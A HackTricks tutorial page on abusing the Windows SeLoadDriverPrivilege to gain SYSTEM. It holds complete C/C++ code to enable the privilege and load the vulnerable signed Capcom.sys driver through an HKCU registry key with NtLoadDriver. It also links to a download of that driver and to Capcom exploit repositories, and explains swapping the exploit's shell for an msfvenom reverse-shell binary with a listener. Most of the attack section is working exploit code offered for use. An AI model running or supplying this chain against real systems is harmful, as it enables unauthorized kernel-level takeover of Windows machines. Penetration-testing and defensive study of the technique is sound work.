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262 lines
12 KiB
Markdown
262 lines
12 KiB
Markdown
# Abuse SeLoadDriverPrivilege
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## SeLoadDriverPrivilege <a href="#seloaddriverprivilege" id="seloaddriverprivilege"></a>
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A very dangerous privilege to assign to any user - it allows the user to load kernel drivers and execute code with kernel privilges aka `NT\System`. See how `offense\spotless` user has this privilege:
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`Whoami /priv` shows the privilege is disabled by default:
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However, the below code allows enabling that privilege fairly easily:
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{% code title="privileges.cpp" %}
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```c
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#include "stdafx.h"
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#include <windows.h>
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#include <stdio.h>
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int main()
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{
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TOKEN_PRIVILEGES tp;
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LUID luid;
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bool bEnablePrivilege(true);
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HANDLE hToken(NULL);
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OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
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if (!LookupPrivilegeValue(
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NULL, // lookup privilege on local system
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L"SeLoadDriverPrivilege", // privilege to lookup
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&luid)) // receives LUID of privilege
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{
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printf("LookupPrivilegeValue error: %un", GetLastError());
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return FALSE;
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}
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tp.PrivilegeCount = 1;
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tp.Privileges[0].Luid = luid;
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if (bEnablePrivilege) {
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tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
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}
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// Enable the privilege or disable all privileges.
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if (!AdjustTokenPrivileges(
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hToken,
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FALSE,
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&tp,
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sizeof(TOKEN_PRIVILEGES),
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(PTOKEN_PRIVILEGES)NULL,
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(PDWORD)NULL))
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{
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printf("AdjustTokenPrivileges error: %x", GetLastError());
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return FALSE;
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}
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system("cmd");
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return 0;
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}
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```
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{% endcode %}
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We compile the above, execute and the privilege `SeLoadDriverPrivilege` is now enabled:
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### Capcom.sys Driver Exploit <a href="#capcom-sys-driver-exploit" id="capcom-sys-driver-exploit"></a>
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To further prove the `SeLoadDriverPrivilege` is dangerous, let's **exploit it to elevate privileges**.
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You can load a new driver using **NTLoadDriver:**
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```cpp
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NTSTATUS NTLoadDriver(
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_In_ PUNICODE_STRING DriverServiceName
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);
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```
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By default the driver service name should be under `\Registry\Machine\System\CurrentControlSet\Services\`
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But, according with to the **documentation** you **could** also **use** paths under **HKEY\_CURRENT\_USER**, so you could **modify** a **registry** there to **load arbitrary drivers** on the system.\
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The relevant parameters that must be defined in the new registry are:
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* **ImagePath:** REG\_EXPAND\_SZ type value which specifies the driver path. In this context, the path should be a directory with modification permissions by the non-privileged user.
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* **Type**: Value of type REG\_WORD in which the type of the service is indicated. For our purpose, the value should be defined as SERVICE\_KERNEL\_DRIVER (0x00000001).
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Therefore you could create a new registry in **`\Registry\User\<User-SID>\System\CurrentControlSet\MyService`** indicating in **ImagePath** the path to the driver and in **Type** the with value 1 and use those values on the exploit (you can obtain the User SID using: `Get-ADUser -Identity 'USERNAME' | select SID` or `(New-Object System.Security.Principal.NTAccount("USERNAME")).Translate([System.Security.Principal.SecurityIdentifier]).value`
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```bash
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PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
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PCWSTR pPathSourceReg = L"\\Registry\\User\\<User-SID>\\System\\CurrentControlSet\\MyService";
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```
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The first one declares a string variable indicating where the vulnerable **Capcom.sys** driver is located on the victim system and the second one is a string variable indicating a service name that will be used (could be any service).\
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Note, that the **driver must be signed by Windows** so you cannot load arbitrary drivers. But, **Capcom.sys** **can be abused to execute arbitrary code and is signed by Windows**, so the goal is to load this driver and exploit it.
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Load the driver:
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```c
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#include "stdafx.h"
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#include <windows.h>
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#include <stdio.h>
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#include <ntsecapi.h>
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#include <stdlib.h>
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#include <locale.h>
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#include <iostream>
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#include "stdafx.h"
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NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName);
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VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
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NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName);
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int main()
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{
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TOKEN_PRIVILEGES tp;
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LUID luid;
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bool bEnablePrivilege(true);
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HANDLE hToken(NULL);
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OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
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if (!LookupPrivilegeValue(
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NULL, // lookup privilege on local system
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L"SeLoadDriverPrivilege", // privilege to lookup
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&luid)) // receives LUID of privilege
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{
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printf("LookupPrivilegeValue error: %un", GetLastError());
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return FALSE;
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}
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tp.PrivilegeCount = 1;
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tp.Privileges[0].Luid = luid;
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if (bEnablePrivilege) {
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tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
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}
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// Enable the privilege or disable all privileges.
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if (!AdjustTokenPrivileges(
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hToken,
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FALSE,
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&tp,
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sizeof(TOKEN_PRIVILEGES),
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(PTOKEN_PRIVILEGES)NULL,
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(PDWORD)NULL))
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{
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printf("AdjustTokenPrivileges error: %x", GetLastError());
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return FALSE;
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}
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//system("cmd");
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// below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h
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std::cout << "[+] Set Registry Keys" << std::endl;
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NTSTATUS st1;
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UNICODE_STRING pPath;
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UNICODE_STRING pPathReg;
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PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
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PCWSTR pPathSourceReg = L"\\Registry\\User\\<User-SID>\\System\\CurrentControlSet\\MyService";
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const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
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HMODULE hObsolete = GetModuleHandleA(NTDLL);
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*(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString");
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*(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver");
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*(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver");
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RtlInitUnicodeString(&pPath, pPathSource);
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RtlInitUnicodeString(&pPathReg, pPathSourceReg);
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st1 = NtLoadDriver(&pPathReg);
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std::cout << "[+] value of st1: " << st1 << "\n";
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if (st1 == ERROR_SUCCESS) {
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std::cout << "[+] Driver Loaded as Kernel..\n";
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std::cout << "[+] Press [ENTER] to unload driver\n";
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}
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getchar();
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st1 = NtUnloadDriver(&pPathReg);
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if (st1 == ERROR_SUCCESS) {
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std::cout << "[+] Driver unloaded from Kernel..\n";
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std::cout << "[+] Press [ENTER] to exit\n";
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getchar();
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}
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return 0;
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}
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```
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Once the above code is compiled and executed, we can see that our malicious `Capcom.sys` driver gets loaded onto the victim system:
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Download: [Capcom.sys - 10KB](https://firebasestorage.googleapis.com/v0/b/gitbook-28427.appspot.com/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LTyWsUdKa48PyMRyZ4I%2F-LTyZ9IkoofuWRxlNpUG%2FCapcom.sys?alt=media\&token=e4417fb3-f2fd-42ef-9000-d410bc6ceb54)
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**No it's time to abuse the loaded driver to execute arbitrary code.**
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You can download exploits from [https://github.com/tandasat/ExploitCapcom](https://github.com/tandasat/ExploitCapcom) and [https://github.com/zerosum0x0/puppetstrings](https://github.com/zerosum0x0/puppetstrings) and execute it on the system to elevate our privileges to `NT Authority\System`:
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### No Gui
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If we **do not have GUI access** to the target, we will have to modify the **`ExploitCapcom.cpp`** code before compiling. Here we can edit line 292 and replace `C:\\Windows\\system32\\cmd.exe"` with, say, a reverse shell binary created with `msfvenom`, for example: `c:\ProgramData\revshell.exe`.
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Code: c
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```c
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// Launches a command shell process
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static bool LaunchShell()
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{
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TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
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PROCESS_INFORMATION ProcessInfo;
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STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
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if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
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CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
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&ProcessInfo))
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{
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return false;
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}
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CloseHandle(ProcessInfo.hThread);
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CloseHandle(ProcessInfo.hProcess);
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return true;
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}
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```
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The `CommandLine` string in this example would be changed to:
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Code: c
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```c
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TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");
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```
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We would set up a listener based on the `msfvenom` payload we generated and hopefully receive a reverse shell connection back when executing `ExploitCapcom.exe`. If a reverse shell connection is blocked for some reason, we can try a bind shell or exec/add user payload.
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### Auto
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You can use [https://github.com/TarlogicSecurity/EoPLoadDriver/](https://github.com/TarlogicSecurity/EoPLoadDriver/) to **automatically enable** the **privilege**, **create** the **registry key** under HKEY\_CURRENT\_USER and **execute NTLoadDriver** indicating the registry key that you want to create and the path to the driver:
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.png>)
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Then, you will need to download a **Capcom.sys** exploit and use it to escalate privileges.
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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